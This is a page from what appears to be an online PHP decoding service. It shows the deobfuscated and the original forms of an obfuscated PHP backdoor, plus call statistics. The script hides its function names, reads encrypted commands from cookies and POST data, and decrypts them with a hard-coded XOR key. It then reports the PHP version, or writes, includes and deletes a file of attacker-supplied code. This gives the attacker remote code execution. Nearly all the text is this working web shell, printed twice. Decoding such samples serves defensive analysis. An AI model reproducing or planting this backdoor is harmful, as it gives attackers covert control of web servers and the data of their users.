Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $HdHjY = 'f'.chr(609-504)."\154".chr(1079-978)."\x5f".chr(802-690).chr(998-881)."\16..
Decoded Output download
<?php $HdHjY = 'f'.chr(609-504)."l".chr(1079-978)."_".chr(802-690).chr(998-881)."t".chr(95).chr(99).chr(793-682)."n".chr(805-689).chr(204-103).chr(210-100).chr(116).chr(143-28);
$KUZsDD = chr(98)."a".'s'.'e'.chr(54).'4'.chr(95)."d"."e".'c'."o".chr(100).chr(887-786);
$MFGIUd = "i".chr(110).'i'."_"."s"."e".chr(276-160);
$XFnpkbCoys = "u"."n".'l'."i"."n".chr(107);
@$MFGIUd('e'.chr(114).chr(114).chr(111).'r'."_".chr(108).chr(111).chr(652-549), NULL);
@$MFGIUd("l"."o".chr(574-471).chr(1016-921).'e'.'r'.chr(281-167)."o".chr(806-692).'s', 0);
@$MFGIUd("m"."a".'x'.chr(95).chr(316-215)."x"."e"."c".chr(117).'t'.'i'.chr(403-292)."n"."_".chr(847-731).chr(105).chr(418-309).chr(972-871), 0);
@set_time_limit(0);
function sYINHVP($swKXRWtYgZ, $qAuwNw)
{
$fwVIWzDi = "";
for ($aepvWH = 0; $aepvWH < strlen($swKXRWtYgZ);) {
for ($j = 0; $j < strlen($qAuwNw) && $aepvWH < strlen($swKXRWtYgZ); $j++, $aepvWH++) {
$fwVIWzDi .= chr(ord($swKXRWtYgZ[$aepvWH]) ^ ord($qAuwNw[$j]));
}
}
return $fwVIWzDi;
}
$YVmESFcrau = array_merge($_COOKIE, $_POST);
$ubKPx = '5347fddf-9255-4477-b63c-e9f3429aea1b';
foreach ($YVmESFcrau as $euWxjYE => $swKXRWtYgZ) {
$swKXRWtYgZ = @unserialize(sYINHVP(sYINHVP($KUZsDD($swKXRWtYgZ), $ubKPx), $euWxjYE));
if (isset($swKXRWtYgZ['a'.'k'])) {
if ($swKXRWtYgZ['a'] == "i") {
$aepvWH = array(
chr(112).'v' => @phpversion(),
chr(712-597).chr(118) => "3.5",
);
echo @serialize($aepvWH);
} elseif ($swKXRWtYgZ['a'] == chr(101)) {
$AIlfmX = "./" . md5($ubKPx) . chr(777-731).'i'.chr(110).chr(99);
@$HdHjY($AIlfmX, "<" . "?"."p"."h"."p"." "."@".'u'.'n'.'l'."i".chr(110).chr(139-32).chr(655-615).'_'.chr(95).chr(70)."I".chr(567-491).chr(543-474).chr(962-867).'_'.chr(41).chr(59)." " . $swKXRWtYgZ["d"]);
include($AIlfmX);
@$XFnpkbCoys($AIlfmX);
}
exit();
}
}
?>Did this file decode correctly?
Original Code
<?php $HdHjY = 'f'.chr(609-504)."\154".chr(1079-978)."\x5f".chr(802-690).chr(998-881)."\164".chr(95).chr(99).chr(793-682)."\156".chr(805-689).chr(204-103).chr(210-100).chr(116).chr(143-28);
$KUZsDD = chr(98)."\x61".'s'.'e'.chr(54).'4'.chr(95)."\x64"."\145".'c'."\157".chr(100).chr(887-786);
$MFGIUd = "\151".chr(110).'i'."\137"."\x73"."\145".chr(276-160);
$XFnpkbCoys = "\x75"."\156".'l'."\x69"."\156".chr(107);
@$MFGIUd('e'.chr(114).chr(114).chr(111).'r'."\137".chr(108).chr(111).chr(652-549), NULL);
@$MFGIUd("\x6c"."\157".chr(574-471).chr(1016-921).'e'.'r'.chr(281-167)."\157".chr(806-692).'s', 0);
@$MFGIUd("\155"."\x61".'x'.chr(95).chr(316-215)."\x78"."\145"."\143".chr(117).'t'.'i'.chr(403-292)."\x6e"."\137".chr(847-731).chr(105).chr(418-309).chr(972-871), 0);
@set_time_limit(0);
function sYINHVP($swKXRWtYgZ, $qAuwNw)
{
$fwVIWzDi = "";
for ($aepvWH = 0; $aepvWH < strlen($swKXRWtYgZ);) {
for ($j = 0; $j < strlen($qAuwNw) && $aepvWH < strlen($swKXRWtYgZ); $j++, $aepvWH++) {
$fwVIWzDi .= chr(ord($swKXRWtYgZ[$aepvWH]) ^ ord($qAuwNw[$j]));
}
}
return $fwVIWzDi;
}
$YVmESFcrau = array_merge($_COOKIE, $_POST);
$ubKPx = '5347fddf-9255-4477-b63c-e9f3429aea1b';
foreach ($YVmESFcrau as $euWxjYE => $swKXRWtYgZ) {
$swKXRWtYgZ = @unserialize(sYINHVP(sYINHVP($KUZsDD($swKXRWtYgZ), $ubKPx), $euWxjYE));
if (isset($swKXRWtYgZ['a'.'k'])) {
if ($swKXRWtYgZ['a'] == "\x69") {
$aepvWH = array(
chr(112).'v' => @phpversion(),
chr(712-597).chr(118) => "3.5",
);
echo @serialize($aepvWH);
} elseif ($swKXRWtYgZ['a'] == chr(101)) {
$AIlfmX = "./" . md5($ubKPx) . chr(777-731).'i'.chr(110).chr(99);
@$HdHjY($AIlfmX, "<" . "\77"."\x70"."\150"."\160"."\40"."\x40".'u'.'n'.'l'."\x69".chr(110).chr(139-32).chr(655-615).'_'.chr(95).chr(70)."\111".chr(567-491).chr(543-474).chr(962-867).'_'.chr(41).chr(59)."\x20" . $swKXRWtYgZ["\144"]);
include($AIlfmX);
@$XFnpkbCoys($AIlfmX);
}
exit();
}
}
Function Calls
| chr | 38 |
| ini_set | 3 |
| array_merge | 1 |
| set_time_limit | 1 |
Stats
| MD5 | e2ff96f39f3d9b62bafb0e455e74bed4 |
| Eval Count | 0 |
| Decode Time | 81 ms |